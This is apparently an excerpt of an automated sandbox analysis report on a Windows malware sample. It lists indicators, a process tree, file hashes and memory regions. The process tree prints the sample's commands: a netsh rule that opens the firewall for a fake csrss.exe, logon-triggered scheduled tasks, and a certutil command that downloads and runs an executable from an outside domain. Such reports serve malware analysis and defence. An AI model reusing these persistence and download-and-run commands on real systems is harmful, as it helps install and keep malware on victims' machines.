337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
96442eb485c39eb8651526f48308d799.exe96442eb485c39eb8651526f48308d799.exepid process 1668 96442eb485c39eb8651526f48308d799.exe 1572 96442eb485c39eb8651526f48308d799.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
96442eb485c39eb8651526f48308d799.execsrss.exedescription pid process Token: SeDebugPrivilege 1668 96442eb485c39eb8651526f48308d799.exe Token: SeImpersonatePrivilege 1668 96442eb485c39eb8651526f48308d799.exe Token: SeSystemEnvironmentPrivilege 1184 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
96442eb485c39eb8651526f48308d799.execmd.exedescription pid process target process PID 1572 wrote to memory of 968 1572 96442eb485c39eb8651526f48308d799.exe cmd.exe PID 1572 wrote to memory of 968 1572 96442eb485c39eb8651526f48308d799.exe cmd.exe PID 1572 wrote to memory of 968 1572 96442eb485c39eb8651526f48308d799.exe cmd.exe PID 1572 wrote to memory of 968 1572 96442eb485c39eb8651526f48308d799.exe cmd.exe PID 968 wrote to memory of 864 968 cmd.exe netsh.exe PID 968 wrote to memory of 864 968 cmd.exe netsh.exe PID 968 wrote to memory of 864 968 cmd.exe netsh.exe PID 1572 wrote to memory of 1184 1572 96442eb485c39eb8651526f48308d799.exe csrss.exe PID 1572 wrote to memory of 1184 1572 96442eb485c39eb8651526f48308d799.exe csrss.exe PID 1572 wrote to memory of 1184 1572 96442eb485c39eb8651526f48308d799.exe csrss.exe PID 1572 wrote to memory of 1184 1572 96442eb485c39eb8651526f48308d799.exe csrss.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\96442eb485c39eb8651526f48308d799.exe"C:\Users\Admin\AppData\Local\Temp\96442eb485c39eb8651526f48308d799.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\96442eb485c39eb8651526f48308d799.exe"C:\Users\Admin\AppData\Local\Temp\96442eb485c39eb8651526f48308d799.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies service
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeMD5
0caf2ac1d9bf654b65725e2ad30dba7f
SHA1a7c142daa8cdd524df29783d137a57013c794b7d
SHA256e56e8b12e3f84bdc0ddef9324321ad0bb2f1279a8e3d453a6ab2d83440a48249
SHA51256a39b020c34aa3bf97342b01a01b1cde47482c2504536c1ce5abf09377b9b3e7129ce0f94db8e968a50746ae4ff91acd1e22bfe4c13775f9908e60dce600547
-
\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
-
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeMD5
0caf2ac1d9bf654b65725e2ad30dba7f
SHA1a7c142daa8cdd524df29783d137a57013c794b7d
SHA256e56e8b12e3f84bdc0ddef9324321ad0bb2f1279a8e3d453a6ab2d83440a48249
SHA51256a39b020c34aa3bf97342b01a01b1cde47482c2504536c1ce5abf09377b9b3e7129ce0f94db8e968a50746ae4ff91acd1e22bfe4c13775f9908e60dce600547
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\Windows\rss\csrss.exeMD5
0caf2ac1d9bf654b65725e2ad30dba7f
SHA1a7c142daa8cdd524df29783d137a57013c794b7d
SHA256e56e8b12e3f84bdc0ddef9324321ad0bb2f1279a8e3d453a6ab2d83440a48249
SHA51256a39b020c34aa3bf97342b01a01b1cde47482c2504536c1ce5abf09377b9b3e7129ce0f94db8e968a50746ae4ff91acd1e22bfe4c13775f9908e60dce600547
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memory/864-7-0x0000000000000000-mapping.dmp
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memory/968-6-0x0000000000000000-mapping.dmp
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memory/1184-10-0x0000000000000000-mapping.dmp
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memory/1184-13-0x0000000005060000-0x0000000005071000-memory.dmpFilesize
68KB
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memory/1184-15-0x00000000366D0000-0x00000000366D1000-memory.dmpFilesize
4KB
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memory/1184-12-0x0000000004CB0000-0x0000000005059000-memory.dmpFilesize
3.7MB
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memory/1500-23-0x000007FEF6940000-0x000007FEF6BBA000-memory.dmpFilesize
2.5MB
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memory/1572-5-0x0000000000400000-0x0000000000B16000-memory.dmpFilesize
7.1MB
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memory/1572-4-0x0000000004FC0000-0x0000000004FD1000-memory.dmpFilesize
68KB
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memory/1572-3-0x0000000004C10000-0x0000000004FB9000-memory.dmpFilesize
3.7MB
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memory/1668-0-0x0000000004D60000-0x0000000005109000-memory.dmpFilesize
3.7MB
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memory/1668-2-0x0000000000400000-0x0000000000B16000-memory.dmpFilesize
7.1MB
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memory/1668-1-0x0000000005110000-0x0000000005121000-memory.dmpFilesize
68KB